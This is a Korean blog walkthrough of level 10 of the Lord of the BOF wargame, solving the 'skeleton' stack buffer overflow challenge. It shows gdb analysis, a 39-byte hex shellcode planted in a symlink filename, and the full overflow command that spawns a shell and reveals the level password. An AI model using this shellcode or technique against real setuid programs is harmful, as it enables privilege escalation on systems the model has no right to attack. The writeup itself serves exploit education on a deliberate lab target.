ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LEVEL10] (vampire -> skeleton) : argv hunter
    Wargame/LordOfTheBof (redhat) 2013. 6. 28. 16:20

    1. 문제 Source

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - skeleton
            - argv hunter
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    extern char **environ;
    
    main(int argc, char *argv[])
    {
    	char buffer[40];
    	int i, saved_argc;
    
    	if(argc < 2){
    		printf("argv error\n");
    		exit(0);
    	}
    
    	// egghunter 
    	for(i=0; environ[i]; i++)
    		memset(environ[i], 0, strlen(environ[i]));
    
    	if(argv[1][47] != '\xbf')
    	{
    		printf("stack is still your friend.\n");
    		exit(0);
    	}
    
    	// check the length of argument
    	if(strlen(argv[1]) > 48){
    		printf("argument is too long!\n");
    		exit(0);
    	}
    
    	// argc saver
    	saved_argc = argc;
    
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    
    	// buffer hunter
    	memset(buffer, 0, 40);
    
    	// ultra argv hunter!
    	for(i=0; i<saved_argc; i++)
    		memset(argv[i], 0, strlen(argv[i]));
    }

    우선 소스를 살펴보자.


    1. 인자의 개수(argc)는 2개 이상.

    2. 환경변수(environ) 초기화.

    3. argv[1][47]의 값은 \xbf 여야 한다.

    4. argv[1] 사이즈는 48 Byte 이하.

    5. argv 모두 초기화


    이제는 argv 영역을 모두 날려버린다. argv[0]이나 argv[2]를 이용한 꼼수는 이제 통하지 않게 되었다.


    2. Stack의 끝부분

    argv[0] 부분에 저장되는 파일명은 argv가 초기화 되면서 모두 사라지지만, Stack의 끝부분을 살펴보면 파일명이 남아있다.

    우선 gdb로 살펴보기 위해 원본파일을 복사하고 확인해보자.

    [vampire@localhost vampire]$ cp skeleton skeletoa 


    argv[0]부분의 주소를 찾는다.

    [vampire@localhost vampire]$ gdb -q skeletoa 

    (gdb) x/20wx $esp

    0xbffffacc: 0x400309cb 0x00000002 0xbffffb14 0xbffffb20

    0xbffffadc: 0x40013868 0x00000002 0x08048450 0x00000000

    0xbffffaec: 0x08048471 0x08048500 0x00000002 0xbffffb14

    0xbffffafc: 0x08048390 0x080486ac 0x4000ae60 0xbffffb0c

    0xbffffb0c: 0x40013e90 0x00000002 0xbffffc0e 0xbffffc25

    (gdb) x/x 0xbffffb14

    0xbffffb14: 0xbffffc0e


    이제 argv[0]부터 Stack의 끝까지 String을 뽑아보면 끝부분에 파일명이 있는것을 알 수 있다.

    (gdb) x/40s 0xbffffc0e

    0xbffffc0e: "/home/vampire/skeletoa"

    0xbffffc25: 'A' <repeats 40 times>, "BBBB����"

    0xbffffc56: "LESSOPEN=|/usr/bin/lesspipe.sh %s"


    ...중략...


    0xbfffffb2: "5:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:"

    0xbfffffe5: "/home/vampire/skeletoa"

    0xbffffffc: ""

    0xbffffffd: ""

    0xbffffffe: ""

    0xbfffffff: ""

    0xc0000000: <Address 0xc0000000 out of bounds>

    0xc0000000: <Address 0xc0000000 out of bounds>

    0xbfffffe5 부분에 파일명이 들어있다.


    다음으로 프로그램이 끝나기 바로 전 부분에 break point를 걸고, Stack을 확인해보자.

    (gdb) b *main+368

    Breakpoint 2 at 0x8048670

    (gdb) n

    Single stepping until exit from function main, 

    which has no line number information.

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����


    Breakpoint 2, 0x8048670 in main ()


    아까 확인했던 argv[0]부분부터 Stack을 보면, 역시 모두 0으로 초기화 된것이 보인다.

    (gdb) x/40wx 0xbffffc0e

    0xbffffc0e: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffffc1e: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffffc2e: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffffc3e: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffffc4e: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffffc5e: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffffc6e: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffffc7e: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffffc8e: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffffc9e: 0x00000000 0x00000000 0x00000000 0x00000000


    하지만 0xbfffffe5 부분은 여전히 파일명이 초기화 되지 않고 들어가 있다.

    (gdb) x/s 0xbfffffe5

    0xbfffffe5: "/home/vampire/skeletoa"


    그렇다면, LEVEL8과 마찬가지로 파일명에 심볼릭 링크를 이용해 shellcode를 넣은뒤, Stack의 끝부분으로 eip를 변조하면 될듯하다.


    3. Exploit

    사용할 shellcode는 아래와 같다. (총 39 Byte)

    \x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3

    이상하게도 LEVEL8에서 사용했던 2f 가 없는 shellcode가 동작하지 않아 다른 shellcode를 이용했다.


    우선 심볼릭 링크를 이용해 shellcode를 파일명으로 만들자.

    [vampire@localhost vampire]$ ln -s skeletoa `python -c "print '\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3'"`

    [vampire@localhost vampire]$ ls -l

    total 36

    lrwxrwxrwx    1 vampire  vampire         8 Jul  4 09:52 h?��?h�?SThjo?�h?i0chi0tij?Y�??Iy�A��T -> skeletoa

    -rwsr-sr-x    1 vampire  vampire     12752 Jul  1 17:11 skeletoa

    -rwsr-sr-x    1 skeleton skeleton    12752 Mar  3  2010 skeleton

    -rw-r--r--    1 root     root          821 Mar 29  2010 skeleton.c


    혹시 또 주소가 달라질 수도 있으니 core를 떨어트려 이를 분석하겠다.

    [vampire@localhost vampire]$ ulimit -c unlimited


    이제 buffer를 overflow 시켜서 RET를 덮는다.

    buffer 

    SFP 

    RET 

     40 Byte

    4 Byte 

    4 Byte 

    A * 40

    BBBB 

    \xbf\xbf\xbf\xbf 

    [vampire@localhost vampire]$ `python -c "print './' + '\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3'"` `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����

    Segmentation fault (core dumped)


    떨어진 core를 분석해보자.

    [vampire@localhost vampire]$ gdb -q `python -c "print '\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3'"` core


    warning: core file may not match specified executable file.

    Core was generated by `                                                                              '.

    Program terminated with signal 11, Segmentation fault.

    Reading symbols from /lib/libc.so.6...done.

    Reading symbols from /lib/ld-linux.so.2...done.

    #0  0xbfbfbfbf in ?? ()

    (gdb) 


    대충 스택의 끝부분쪽의 String을 뽑아보면 역시 파일명이 있는것을 볼 수 있다.

    (gdb) x/10s 0xbfffffca

    0xbfffffca: ""

    0xbfffffcb: ""

    0xbfffffcc: ""

    0xbfffffcd: ""

    0xbfffffce: ""

    0xbfffffcf: ""

    0xbfffffd0: ""

    0xbfffffd1: ""

    0xbfffffd2: "./h\212��\201h�\fSThjo\212�h\001i0chi0tij\024Y�\f\fIy�A��T�"

    0xbffffffc: ""


    앞부분에 현재 파일의 경로인 ./ 가 붙어있다. 2 byte 이므로, 이를 더한 0xbfffffd4가 shellcode의 주소가 되겠다.

    (gdb) x/s 0xbfffffd4

    0xbfffffd4: "h\212��\201h�\fSThjo\212�h\001i0chi0tij\024Y�\f\fIy�A��T�"


    이제 사본인 skeletoa의 심볼릭 링크는 지우고, 원본파일인 skelton으로 심볼릭 링크를 만든 뒤 Exploit을 진행하자.

    [vampire@localhost vampire]$ rm -rf `python -c "print '\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3'"`

    [vampire@localhost vampire]$ ln -s skeleton `python -c "print '\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3'"`

    [vampire@localhost vampire]$ bash2

    [vampire@localhost vampire]$ `python -c "print './' + '\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3'"` `python -c "print 'A'*40 + 'BBBB' + '\xd4\xff\xff\xbf'"`

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����

    bash$ my-pass

    euid = 510

    shellcoder


    성공 !


Designed by Tistory.